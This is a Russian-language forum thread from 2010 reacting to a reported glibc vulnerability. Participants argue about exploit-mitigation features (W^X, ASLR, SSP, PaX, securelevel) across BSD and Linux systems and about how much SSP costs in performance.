форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка

Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

Сообщения по теме

[Сортировка по времени | RSS]

1. "В Glibc обнаружена серьезная уязвимость"	–4 +/–
Сообщение от KERNEL_PANIC (ok) on 19-Окт-10, 15:03
Оу, как страшно.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	7. "В Glibc обнаружена серьезная уязвимость"	–1 +/–
	Сообщение от follow_me on 19-Окт-10, 15:37
	Покажи свой IP  и ты узнаешь как страшно , вернее ты и не заметишь как всё закончится ;)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	10. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от arcade (ok) on 19-Окт-10, 15:40
	> Покажи свой IP  и ты узнаешь как страшно , вернее ты > и не заметишь как всё закончится ;) Я не замечу. У меня фря и зфс, и такие глупости как один раздел под все файлы я давно изжил. А в разделах в которые пользователь умеет писать нет suid файлов. Хотя отношение разрабов не радует, давно такая бага в ядре и никто не зопатчил...
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	13. "В Glibc обнаружена серьезная уязвимость"	+16 +/–
	Сообщение от User294 (ok) on 19-Окт-10, 15:48
	> давно такая бага в ядре и никто не зопатчил... Epic, epic, epic fail! Hint #1: может быть, вам следует для начала научиться отличать ядро от glibc, а уже потом умничать начинать? :) Hint #2: в природе, кстати,  есть более чем одна реализация libc. И ряд линухов пользуется ими. Потому что ядро и либцэ - "немного" разные вещи.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	14. "В Glibc обнаружена серьезная уязвимость"	–10 +/–
	Сообщение от paxuser on 19-Окт-10, 15:54
	Бага, к сожалению, не в ядре, а в glibc. Что до FreeBSD, то по наличию мер предотвращения эксплуатации уязвимостей она до сих пор находится на уровне года, эдак, 2001-го и отстаёт от NetBSD и тем более от OpenBSD. Даже ванильный линукс дальше ушёл (но при этом качество кода ядра у него на уровне второй половины 90-ых - хуже, чем у любой из первой тройки *BSD).
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	22. "В Glibc обнаружена серьезная уязвимость"	+3 +/–
	Сообщение от butcher (ok) on 19-Окт-10, 16:15
	> Бага, к сожалению, не в ядре, а в glibc. Что до FreeBSD, > то по наличию мер предотвращения эксплуатации уязвимостей она до сих пор > находится на уровне года, эдак, 2001-го и отстаёт от NetBSD и > тем более от OpenBSD. Обоснуете? Или так, ваше личное мнение?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	33. "В Glibc обнаружена серьезная уязвимость"	+6 +/–
	Сообщение от paxuser on 19-Окт-10, 16:40
	>> Бага, к сожалению, не в ядре, а в glibc. Что до FreeBSD, >> то по наличию мер предотвращения эксплуатации уязвимостей она до сих пор >> находится на уровне года, эдак, 2001-го и отстаёт от NetBSD и >> тем более от OpenBSD. > Обоснуете? Или так, ваше личное мнение? Конечно обосную. Во FreeBSD не ни аналогов W^X, ни ASLR, ни PIE, даже возмоность сборки с SSP добавили лишь недавно. В том же CentOS всё это в той или иной мере есть (для юзерспейса). В ванильном линуксе уже реализован аналог W^X, ASLR, поддержка PIE и защита от маппинга памяти по нулевому адресу (с 2008 г.). Не говоря уже о PaX и Grsecurity, где на данный момент реализованы защиты ядра от классов уязвимостей для нескольких аппаратных архитектур, включая аналог W^X для юзерспецса (KERNEXEC), защиту от обращения по указателям на юзерспейс (UDEREF), проверки границ данных при копировании из юзерспейса в ядро (USERCOPY) и т.д.. С полным списком можете ознакомиться сами на grsecurity.net и pax.grsecurity.net + помощь в конфигураторе ядра с PaX и Grsecurity. Датировка первых реализаций PaX - 2001-2002 г. (точнее не вспомню), Grsecurity - 2003-ий год, начала аудита кода ядра и юзерспейса в OpenBSD - 96-ой год, начала включения ProPolice (SSP) - если не ошибаюсь, то 2001-ый год. В 2004-ом году (в сети есть слайды с презентации) в OpenBSD уже были W^X, аналог SSP, StackGhost (продвинутый аналог SSP для Sparc) и ASLR, в 2007-2008 г. была реализована поддержка PIE, в 2009-ом - запрет на памминг нулевого адреса. За NetBSD я не слежу, но пару-тройку лет назад они начали портировать что-то из PaX - гугль в помощь.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	100. "В Glibc обнаружена серьезная уязвимость"	+4 +/–
	Сообщение от BigHo on 19-Окт-10, 23:07
	W^X -> технология, основанная на Х-бит? Если так, то она есть - ею можно пользоваться в userspace UDEREF, USERCOPY -> чисто linux технология? Поскольку во FreeBSD я ею недавно пользовался (это издевка ;) SSP -> Stack-Smashing Protector (ProPolice) это рандомная фишка gcc, которая кушает 5% на тестах, и в реальных боевых условиях не сделает из компа ракету. Все остальные технологии основаны на рандомизации. Круто быть рандомно защищенным и платить за это усложнением поддержки разрабатываемого кода, невозможностью дебага, поднятым ручником для всех приложений. Давайте сравним? OpenBSD во главу угла ставит параноидальную защищенность. Её можно воспринимать как платформу для обкатки технологий, которые потом появляются в других ОС. NetBSD - переносимость. DragonFlyBSD - класстеризация. FreeBSD - это платформа для продакшен серверов, которую можно и нужно сравнивать с Windows и Linux. Весь этот зоопарк *BSD* ОС подобен зоопарку Linux платформ, только BSD более четко разделены меж собой по подходу. И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты системы не может считаться достаточным для целого ряда программных ошибок, способных привести к компрометации системы или хранимой ею данных. Нет гарантии, что код, призванный защитить от проникновения, сам не послужит ступенькой для злоумышленника. Поэтому во FreeBSD разработчики кодовой базы избегают модных тенденций, портируя лишь зарекомендовавшие себя технологии. Чтобы мой ответ не послужил темой холивора, отметичу, что на сегоднешний день ни одна ОС не может считаться идеальной. Прекрасно представляю, насколько это касается FreeBSD, поскольку мне с ней приходится более всего работать. Профессионалы знают недостатки тех систем, с которыми работают. Именно это их кормит. Хотел бы узнать, какими ОС вы занимаетесь?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	104. "В Glibc обнаружена серьезная уязвимость"	+2 +/–
	Сообщение от PereresusNeVlezaetBuggy (ok) on 20-Окт-10, 00:06
	> W^X -> технология, основанная на Х-бит? Если так, то она есть - > ею можно пользоваться в userspace Не обязательно именно на аппаратный бит. Суть именно в принципе «либо запись, либо исполнение», конкретные реализации на разных платформах могут отличаться. > SSP -> Stack-Smashing Protector (ProPolice) это рандомная фишка gcc, которая кушает 5% > на тестах, и в реальных боевых условиях не сделает из компа ракету. Эта фишка не раз и не два спасала собранные с её помощью приложения от эксплуатации имевшихся в них серьёзных дырок. Да и 5% — это именно результат тестов, в реальности паразитная нагрузка ниже, так как относится только к контексту выполнения приложения. В приложениях, завязанных на тот или иной вид I/O (а таких на боевых серверах большинство) и/или на сложную математику (шифрование и другие задачи, где немалая часть работы осуществляется в рамках одной функции), потери вообще незаметны. > Все остальные технологии основаны на рандомизации. Круто быть рандомно защищенным и платить > за это усложнением поддержки разрабатываемого кода, невозможностью дебага, поднятым ручником > для всех приложений. Ну и как, скажем, PIE помешает дебагу? Если это именно дебаг, а не попытка взлома чужого бинарника. Вообще, не путайте разработку и продакшн. Для разных целей используются разные системы (в плане настройки). Для разработки особо извращённых программ, или там модулей ядра, я выставлю securelevel=-1 в /etc/rc.securelevel, подкручу несколько sysctl, и буду щаслив. А для разработки обычных и это не требуется. Зато вражескому коду, попади он в вашу систему, придётся несладко. Шелл-код нередко ограничен считанными десятками байтов (сколько в буфер влезло, ограниченный тем же SSP), и найти, скажем, адрес нужной библиотеки ему будет сильно проблематично. > Давайте сравним? OpenBSD во главу угла ставит параноидальную защищенность. Её можно воспринимать > как платформу для обкатки технологий, которые потом появляются в других ОС. > NetBSD - переносимость. DragonFlyBSD - класстеризация. FreeBSD - это платформа для > продакшен серверов, которую можно и нужно сравнивать с Windows и Linux. > Весь этот зоопарк *BSD* ОС подобен зоопарку Linux платформ, только BSD > более четко разделены меж собой по подходу. Мир несколько сложнее, чем вы здесь утверждаете. > И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты > системы не может считаться достаточным для целого ряда программных ошибок, способных > привести к компрометации системы или хранимой ею данных. Нет гарантии, что > код, призванный защитить от проникновения, сам не послужит ступенькой для злоумышленника. > Поэтому во FreeBSD разработчики кодовой базы избегают модных тенденций, портируя лишь > зарекомендовавшие себя технологии. FreeBSD — хорошая система. Но в первую очередь — для фанатов скорости работы системы. Здесь она действительно хороша. А вот по остальным пунктам (удобство установки, удобство сопровождения и обслуживания, надёжность работы) есть свои нюансы. Точно так же другие *BSD нередко портируют драйвера из FreeBSD (например, драйвера для последних поколений Ethernet-контроллеров от Intel). > Чтобы мой ответ не послужил темой холивора, отметичу, что на сегоднешний день > ни одна ОС не может считаться идеальной. Прекрасно представляю, насколько это > касается FreeBSD, поскольку мне с ней приходится более всего работать. Профессионалы > знают недостатки тех систем, с которыми работают. Именно это их кормит. > Хотел бы узнать, какими ОС вы занимаетесь? Хоть это и не ко мне, но во избежание ненужных разборок отвечу: OpenBSD, FreeBSD, MS Windows, GNU/Linux — в порядке убывания интенсивности работы.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	111. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от BigHo on 20-Окт-10, 01:03
	> Не обязательно именно на аппаратный бит. Суть именно в принципе «либо запись, либо исполнение», конкретные реализации на разных платформах могут отличаться. В смысле тот, который nX(AMD)/Xd(INTEL). Как его не назови, а суть одна. Без его использования ничего с защитой не получится. Так что это был не вопрос, а констатация факта. Что же до его использования, то запретить исполнение можно не указывая PROT_EXEC - что и делается в malloc функции неяно. Запретить записывать по месту кода - это уже делается явно. Получается, что из W^X только одна часть выполняется неявно, а другая - как технология здравого смысла. Получается, что если в коде не встречается записи W^X, то это не значит, что эта технология никак не используется в той или иной ОС. Названия порой удобно размещать в тексте учебников и рекламных буклетах. Но даже где заявленная технология есть, то это еще не значит, что кто-то специально ксорит биты W и X для страниц памяти, поскольку это мешает переносимости кода. > ...в реальности паразитная нагрузка ниже, так как относится только к контексту выполнения приложения... Всецело согласен. Штука включена в последние FreeBSD (не вспомню, с какой версии), что действительно не дает использовать некоторые из уязвимостей. В связи с его введением перестали работать некоторые старые программы. Но я все равно - просто щаслив, шо я теперь в полной безопасности! [BigHo тут немного юродствует вслух для поднятия своего настроения] > ...securelevel... Не понял, в чем разница если значение равно -1 и "А для разработки обычных и это не требуется". Основная мысль, тем не менее, понятна. > Мир несколько сложнее, чем вы здесь утверждаете. "Неуж... Черт! Будь у меня еще немного больше времени, и я бы сам мог догадаться! Нельзя же так, да еще без предупреждения разрушать последние детские илюзии! Тьфу на вас!" :) > FreeBSD... согласен Ничего не могу сказать про OpenBSD, кроме нескольких интересных для меня вещей, например, замена chroot - когда процессы можно строить по ирархической схеме относительно привилегий и областей видимости друг-друга - вау! Не помню, где смотрел демонстрацию латвийского разработчика.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	112. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от PereresusNeVlezaetBuggy (ok) on 20-Окт-10, 01:42
	>[оверквотинг удален] > то запретить исполнение можно не указывая PROT_EXEC - что и делается > в malloc функции неяно. Запретить записывать по месту кода - это > уже делается явно. Получается, что из W^X только одна часть выполняется > неявно, а другая - как технология здравого смысла. Получается, что если > в коде не встречается записи W^X, то это не значит, что > эта технология никак не используется в той или иной ОС. Названия > порой удобно размещать в тексте учебников и рекламных буклетах. Но даже > где заявленная технология есть, то это еще не значит, что кто-то > специально ксорит биты W и X для страниц памяти, поскольку это > мешает переносимости кода. Тут и возникает дилемма: позволять использовать потенциально опасный, но как-то пашущий, код, или же принудить заменить его чем-то более безопасным, но не факт, что существующим... Не думаю, что тут есть простое универсальное решение. >> ...в реальности паразитная нагрузка ниже, так как относится только к контексту выполнения приложения... > Всецело согласен. Штука включена в последние FreeBSD (не вспомню, с какой версии), > что действительно не дает использовать некоторые из уязвимостей. В связи с > его введением перестали работать некоторые старые программы. Но я все равно > - просто щаслив, шо я теперь в полной безопасности! [BigHo тут > немного юродствует вслух для поднятия своего настроения] ;) >> ...securelevel... > Не понял, в чем разница если значение равно -1 и "А для > разработки обычных и это не требуется". В OpenBSD securelevel=1 по дефолту. Соответственно, после установки и настройки на выбор делается "chflags schg /etc/rc.securelevel /etc/rc /sbin/init /bsd /boot /etc/boot.conf" (для параноидальности), либо "echo 'securelevel=-1' >>/etc/rc.securelevel" (для разработки модулей ядра и т.п.). Из обслуживаемых мной сейчас систем первое (вместе с установкой securelevel в 2) проделано, если правильно помню, на двух гейтвеях, а второе вообще нигде, так как заниматься отладкой обычных программ можно даже при securelevel=2. Хотя вообще, конечно, это не столько превентивная мера, сколько частично помогающая в восстановлении системы. > Основная мысль, тем не менее, понятна. Ну и отлично. :) >> Мир несколько сложнее, чем вы здесь утверждаете. > "Неуж... Черт! Будь у меня еще немного больше времени, и я бы > сам мог догадаться! Нельзя же так, да еще без предупреждения разрушать > последние детские илюзии! Тьфу на вас!" :) Передавайте привет вашей категоричности. :) > Ничего не могу сказать про OpenBSD, кроме нескольких интересных для меня вещей, > например, замена chroot - когда процессы можно строить по ирархической схеме > относительно привилегий и областей видимости друг-друга - вау! Не помню, где > смотрел демонстрацию латвийского разработчика. Если вы про sysjail, то с ним всё несколько грустно, т.к. требуется обойти фундаментальную проблему с systrace(4), связанную с race condition в многопоточных приложениях... :( Так что пока что systrace хорош лишь, скажем, для ловли кривых установочных скриптов в портах (собираю всё с USE_SYSTRACE=Yes, ни разу не пожалел).
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	118. "В Glibc обнаружена серьезная уязвимость"	–2 +/–
	Сообщение от paxuser on 20-Окт-10, 02:19
	> Тут и возникает дилемма: позволять использовать потенциально опасный, но как-то пашущий, > код, или же принудить заменить его чем-то более безопасным, но не > факт, что существующим... Не думаю, что тут есть простое универсальное решение. Вот только в PaX почему-то такой дилеммы не вознает. ;) > Если вы про sysjail, то с ним всё несколько грустно, т.к. требуется > обойти фундаментальную проблему с systrace(4), связанную с race condition в многопоточных > приложениях... :( Этот рейс кондишен связан с уходом Provos'а и отсутствием других желающих реализовать lookaside-буфер в ядре, как в systrace для линукса. :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	120. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от BigHo on 20-Окт-10, 03:19
	>>> ...securelevel... >> Не понял, в чем разница если значение равно -1 и "А для >> разработки обычных и это не требуется". > В OpenBSD securelevel=1 по дефолту. Соответственно, после установки и настройки на выбор > делается "chflags schg /etc/rc.securelevel /etc/rc /sbin/init /bsd /boot /etc/boot.conf" > (для параноидальности), либо "echo 'securelevel=-1' >>/etc/rc.securelevel" (для разработки > модулей ядра и т.п.). Из обслуживаемых мной сейчас систем первое (вместе > с установкой securelevel в 2) проделано, если правильно помню, на двух > гейтвеях, а второе вообще нигде, так как заниматься отладкой обычных программ > можно даже при securelevel=2. Не в курсе был про такое поведение OpenBSD. > Передавайте привет вашей категоричности. :) Видимо серьезный тон задает фон категоричности. Интересно - надо запомнить) > Если вы про sysjail, то с ним всё несколько грустно, т.к. требуется > обойти фундаментальную проблему с systrace(4), связанную с race condition в многопоточных > приложениях... :( Так что пока что systrace хорош лишь, скажем, для > ловли кривых установочных скриптов в портах (собираю всё с USE_SYSTRACE=Yes, ни > разу не пожалел). Ага, про sysjail! Год назад где-то смотрел на ютубе и очень жалел, что у меня не OpenBSD. Красивая задумка.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	114. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 02:06
	>> Не обязательно именно на аппаратный бит. Суть именно в принципе «либо запись, либо исполнение», конкретные реализации на разных платформах могут отличаться. > В смысле тот, который nX(AMD)/Xd(INTEL). Как его не назови, а суть одна. Существует как минимум две альтернативных, архитектурно-зависимых реализаций W^X - на базе сегментации в x86 (как в PaX/SEGMEXEC) и на базе разделения памяти на исполняемый и неисполняемый регионы с помощью MTRR (как в OpenBSD для x86, если мне склероз не изменяет). > Без его использования ничего с защитой не получится. Так что это > был не вопрос, а констатация факта. Что же до его использования, Констатация не удалась. :) > то запретить исполнение можно не указывая PROT_EXEC - что и делается > в malloc функции неяно. Запретить записывать по месту кода - это Я бы даже больше сказал: чтобы запретить исполнение, _нужно_ не указывать PROT_EXEC. :)) > уже делается явно. Получается, что из W^X только одна часть выполняется > неявно, а другая - как технология здравого смысла. Получается, что если Не понял, что вы здесь имели ввиду. > в коде не встречается записи W^X, то это не значит, что > эта технология никак не используется в той или иной ОС. Названия Если где-то в памяти процесса (например, на стеке, в .data или тем более в .txt) есть исполняемые страницы, то и говорить не о чем. А уязвимости к повреждению динамической памяти одним запретом на исполнение кучи не изведёшь. Кстати, во FreeBSD один из самых уязвимых аллокаторов - это же так практично, всюду гнаться за скоростью... Впрочем, если во FreeBSD действительно взялись за реализацию W^X (и доведут до ума), лично я буду только рад. > порой удобно размещать в тексте учебников и рекламных буклетах. Но даже > где заявленная технология есть, то это еще не значит, что кто-то > специально ксорит биты W и X для страниц памяти, поскольку это > мешает переносимости кода. Вы о чём? Сдаётся мне, во FreeBSD их именно что xor'ят - едва ли осилили альтернативы. Хотя на сегодня эти альтернативы редко актуальны. >> ...в реальности паразитная нагрузка ниже, так как относится только к контексту выполнения приложения... > Всецело согласен. Штука включена в последние FreeBSD (не вспомню, с какой версии), > что действительно не дает использовать некоторые из уязвимостей. В связи с > его введением перестали работать некоторые старые программы. Но я все равно > - просто щаслив, шо я теперь в полной безопасности! [BigHo тут > немного юродствует вслух для поднятия своего настроения] А вот у меня всё работает, потому что в PaX реализовано избирательное включение/отключение отдельных механизмов защиты для отдельного экзешника через простую утилиту paxctl, и для отладки мне не надо пересобирать что-либо без W^X, в отличие от той же OpenBSD. И сдаётся мне, что теперь и в отличие от FreeBSD. ;) > последние детские илюзии! Тьфу на вас!" :) Ваши слова всё сложнее воспринимать всерьёз.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	159. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 20-Окт-10, 17:21
	> Не обязательно именно на аппаратный бит. Аппаратная защита надежнее программной. Одно дело если проц на уровне железа exception сразу по факту жахнет, и другое если софт программно отловит. Это и программно же надурить можно, и затратнее по ресурсам. > Суть именно в принципе «либо запись, либо исполнение», конкретные > реализации на разных платформах могут отличаться. Но аппаратная как правило внушает больше доверия. Все-таки честная защита страниц памяти с различными атрибутами - одно, а ее программная эмуляция - совсем другое. > в реальности паразитная нагрузка ниже, А это как проверялось? > работы осуществляется в рамках одной функции), Звучит логично, кроме одного момента: а как определялось соотношение тех или иных операций?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	161. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от PereresusNeVlezaetBuggy (ok) on 20-Окт-10, 17:38
	>> Не обязательно именно на аппаратный бит. > Аппаратная защита надежнее программной. Одно дело если проц на уровне железа exception > сразу по факту жахнет, и другое если софт программно отловит. Это > и программно же надурить можно, и затратнее по ресурсам. >> Суть именно в принципе «либо запись, либо исполнение», конкретные >> реализации на разных платформах могут отличаться. > Но аппаратная как правило внушает больше доверия. Все-таки честная защита страниц памяти > с различными атрибутами - одно, а ее программная эмуляция - совсем > другое. Вы бы хоть с предметом ознакомились сначала. Ну хотя бы в Википедию заглянули, если лень глубоко лезть: W^X is relatively simple on processors which support fine-grained page permissions, such as Sun's SPARC and SPARC64, AMD's AMD64, Hewlett-Packard's PA-RISC, and HP's (originally Digital Equipment Corporation's) Alpha; some early Intel 64 processors lacked the NX bit required for W^X, but this appeared in later chips. On processors with more limited features, such as the Intel i386, W^X requires using the CS code segment limit as a "line in the sand," a point in the address space above which execution is not permitted and data is located, and below which it is allowed and executable pages are placed.[2] On all platforms, linker changes were required to separate code (such as trampolines and other code needed for linker and library runtime functions) and data. >> в реальности паразитная нагрузка ниже, > А это как проверялось? Это может проверить любой желающий, собрав и слинковав статически (чтобы имеющиеся либы не мешались) два бинарника, один с SSP, другой без. На разных задачах цифры будут разные. НО! В силу изложенных мною причин (которые вы почему-то обрезали) итоговые цифры будут меньше 5%. Справедливости ради отмечу, что первые реализации SSP, если правильно помню, доводили  потери производительности до 20%. >> работы осуществляется в рамках одной функции), > Звучит логично, кроме одного момента: а как определялось соотношение тех или иных > операций? Вам рассказать, что такое profiling? :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	166. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 20-Окт-10, 20:04
	> Вы бы хоть с предметом ознакомились сначала. Ну хотя бы в Википедию > заглянули, если лень глубоко лезть: И правда, про возможность поюзать CS чтобы сделать изоляцию я все-таки пробакланил. Это тоже аппаратно, хоть и через жо, как это обычно и бывает в х86. Кстати, я правильно понимаю что CS в х86 не менябелен из юзермода? (да, я хреново знаю x86 архитектуру, особенно ее ископаемую инкарнацию i386 и сопутствующие костыли - чего уж скрывать?). >>> в реальности паразитная нагрузка ниже, >> А это как проверялось? > Это может проверить любой желающий, собрав и слинковав статически (чтобы имеющиеся либы > не мешались) два бинарника, один с SSP, другой без. Разумеется, только я надеялся что для типовых приложений это уже сделали :) > вы почему-то обрезали) итоговые цифры будут меньше 5%. Ну вот мне и интересно - а есть какая-то статистика, особенно по всякому там сжатию и шифрованию? Про I/O - оно разумеется и дураку понятно. > Справедливости ради отмечу, что первые реализации SSP, если правильно помню, доводили > потери производительности до 20%. Мне почему-то кажется что это сильно зависит от природы задачи. > Вам рассказать, что такое profiling? :) Давайте, а я расскажу вам взамен что такое троллинг, т.к. вы излишне едки чего-то :). На самом деле я думал что вы замеряли и что можете назвать типичные цифры для типичных программ :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	169. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от PereresusNeVlezaetBuggy (ok) on 20-Окт-10, 21:08
	>> Вы бы хоть с предметом ознакомились сначала. Ну хотя бы в Википедию >> заглянули, если лень глубоко лезть: > И правда, про возможность поюзать CS чтобы сделать изоляцию я все-таки пробакланил. > Это тоже аппаратно, хоть и через жо, как это обычно и > бывает в х86. Кстати, я правильно понимаю что CS в х86 > не менябелен из юзермода? (да, я хреново знаю x86 архитектуру, особенно > ее ископаемую инкарнацию i386 и сопутствующие костыли - чего уж скрывать?). В защищённом режиме — да, CS и SS нельзя произвольно менять. >>>> в реальности паразитная нагрузка ниже, >>> А это как проверялось? >> Это может проверить любой желающий, собрав и слинковав статически (чтобы имеющиеся либы >> не мешались) два бинарника, один с SSP, другой без. > Разумеется, только я надеялся что для типовых приложений это уже сделали :) Думаю, в рассылках GCC можно поискать, я не заморачивался, так как не видел повода. >> вы почему-то обрезали) итоговые цифры будут меньше 5%. > Ну вот мне и интересно - а есть какая-то статистика, особенно по > всякому там сжатию и шифрованию? Про I/O - оно разумеется и > дураку понятно. Повторюсь, сам не собирал. Попробуйте собрать сами, если интересно... В конце концов, чем Фороникс лучше? ;) >> Справедливости ради отмечу, что первые реализации SSP, если правильно помню, доводили >> потери производительности до 20%. > Мне почему-то кажется что это сильно зависит от природы задачи. Безусловно. >> Вам рассказать, что такое profiling? :) > Давайте, а я расскажу вам взамен что такое троллинг, т.к. вы излишне > едки чего-то :). Настроение хреновое, прошу прощения. > На самом деле я думал что вы замеряли > и что можете назвать типичные цифры для типичных программ :) Сам не замерял, встречал упоминания чужих замеров. Поскольку сильной разницы между скоростью работы программ в ОС, в которых нет SSP и в которых оно есть, я не замечал, то и поводов детально ковыряться в этих процентах не видел. :) Повторюсь, я даже порты собираю исключительно с использованием systrace, что хотя и даёт задержку, по моим подсчётам (это я как раз замерял несколько раз) примерно на 15%, всё же позволяет быть уверенным, что кривокостыльный инсталлятор какого-нибудь JDK не залезет, куда не положено, чисто по собственной тупости.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	170. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 20-Окт-10, 21:22
	> Думаю, в рассылках GCC можно поискать, я не заморачивался, так как не > видел повода. Там в одних тестах на синтетике оверхед был до 36%. В других хоть и тестировались реальные приложения и библиотеки, но в искусственных условиях, и оверхед был где-то в диапазоне 0.5-15%. В реальных условиях как правило всё упирается в IOOPS, PPS, CSPS и прочие страшные слова - хорошо помогает только оптимизация архитектуры, мультиплексирование, кэширование и более тщательный подход к выбору и настройке железа и ОС.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	163. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 17:41
	>> Не обязательно именно на аппаратный бит. > Аппаратная защита надежнее программной. Зависит от того, что имеется ввиду под программной и под аппаратной защитой. Современные (маргинальные ;) языки с безопасными типами и среды на их базе с программной изоляцией задач гораздо безопаснее аппаратных костылей (как раз они реализованы в PaX и т.п.) для приложений на языках с небезопасными типами, вроде C/C++. > Одно дело если проц на уровне железа exception > сразу по факту жахнет, и другое если софт программно отловит. Это > и программно же надурить можно, и затратнее по ресурсам. На некоторых архитектурах, включая x86, защиту страниц/регионов памяти от выполнения можно реализовать и без NX-бита. >> в реальности паразитная нагрузка ниже, > А это как проверялось? Бенчмарками приложений, решающих конкретные поставленные задачи, до и после внедрения SSP (и других подобных мер). Это элементарно. >> работы осуществляется в рамках одной функции), > Звучит логично, кроме одного момента: а как определялось соотношение тех или иных > операций? Да не надо их определять - надо тестировать и выявлять узкие места. И выявляются они отнюдь не в SSP.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	165. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 20-Окт-10, 19:46
	> Зависит от того, что имеется ввиду под программной и под аппаратной защитой. > Современные (маргинальные ;) языки с безопасными типами и среды на их > базе с программной изоляцией задач гораздо безопаснее аппаратных костылей Все бы ничего, но в таковых средах, типа Java/.NET/PHP/whatever ... почему-то находят уязвимости, пачками. Колосс получается на глиняных ногах. А общая монструозность таких сред заведомо гарантирует что там будут кучи багов. ИМХО большой вопрос что там дырявее окажется: демон на 10 кило на си, или демон на 10 кило на типобезопасном языке + 100 мегов среды этого типобезопасного (писаные как правило на все тех же типоопасных сях). > (как раз они реализованы в PaX и т.п.) для приложений на языках с > небезопасными типами, вроде C/C++. Хз, почему-то все хотят видеть панацею в таких языках, но по факту - как-то сильно лучше не становится. Ну да, там вместо переполнений буферов - sql injection, php includes всякие и т.п.. И даже назойливый XSS как оказалось может быть более зловредной штукой чем можно полумать: AFAIK, кто-то пустил по твиттеру саморазмножающегося червя на JS, который будучи выполненым жертвой ... постит сам себя заново. Вполне себе этакое самоходное ПО :). В общем старые проблемы решили (если бы :D), новых насоздавали. > На некоторых архитектурах, включая x86, защиту страниц/регионов памяти от выполнения можно > реализовать и без NX-бита. Ну вообще да, я тут погорячился - перерезус тут уже зацитировал про реализацию с CS. Это видимо даже катит, хоть и костыль в духе x86, как обычно :) > Бенчмарками приложений, решающих конкретные поставленные задачи, до и после внедрения > SSP (и других подобных мер). Это элементарно. А результаты сообщить не хотите для разных программ? > Да не надо их определять - надо тестировать и выявлять узкие места. > И выявляются они отнюдь не в SSP. Вообще, звучит разумно.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	168. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 20-Окт-10, 20:44
	> Все бы ничего, но в таковых средах, типа Java/.NET/PHP/whatever ... почему-то находят Java/.NET/PHP - это разве маргинальные языки/платформы? Это угодные индустрии комбайны. Я имел ввиду Erlang, например, или обероны. > уязвимости, пачками. Колосс получается на глиняных ногах. А общая монструозность таких Уязвимости там связаны с применением внешних интерфейсов, небезопасным выполнением опкодов, логическими ошибками в методах изоляции привилегированного кода и линковкой с библиотеками на языках с небезопасными типами. То есть, интерфейсы (а ля JNLP) надо использовать, опкоды - внедрить в песочницу, запустить потенциально опасный код или пользоваться foreign-библиотеками (или встроенными функциями). В случае с демоном, написанным на языке под ту же JVM, эти условия в большинстве случаев не соблюдаются, либо их можно несоблюсти намеренно. Попробуйте найти информацию хотя бы об одной уязвимости в этих средах, не связанную с соблюдением одного из выше перечисленных условий. > сред заведомо гарантирует что там будут кучи багов. ИМХО большой вопрос Багов, связанных с ошибкой в реализации безопасных типов, там нет (но ничтожную вероятность их наличия я не отрицаю). > что там дырявее окажется: демон на 10 кило на си, или > демон на 10 кило на типобезопасном языке + 100 мегов среды > этого типобезопасного (писаные как правило на все тех же типоопасных сях). Демон на си будет дырявее. А 100 мегов среды - это зарезервированная динамическая память, библиотеки (которые часто нельзя маппить прямо в память и в таком виде использовать, как секции в том же ELF) и память для JIT-компиляции. По-моему, это безобразие, но вполне терпимое. Хорошие (все они маргинальные) типобезопасные языки от таких недостатков свободны. >> (как раз они реализованы в PaX и т.п.) для приложений на языках с >> небезопасными типами, вроде C/C++. > Хз, почему-то все хотят видеть панацею в таких языках, но по факту Это не панацея, а средство избавления от классов наиболее серьёзных ошибок. > - как-то сильно лучше не становится. Ну да, там вместо переполнений > буферов - sql injection, php includes всякие и т.п.. И даже > назойливый XSS как оказалось может быть более зловредной штукой чем можно > самоходное ПО :). В общем старые проблемы решили (если бы :D), > новых насоздавали. Вы сейчас опровергаете свои же слова о типобезопасности как панацеи. > А результаты сообщить не хотите для разных программ? Хочу, но не помню. Оверхед был крайне незначительный, на уровне погрешности вычислений. Вещи, вроде PaX/MEMORY_SANITIZE в отдельных случаях съедают гораздо больше, и это для нас приемлемо. 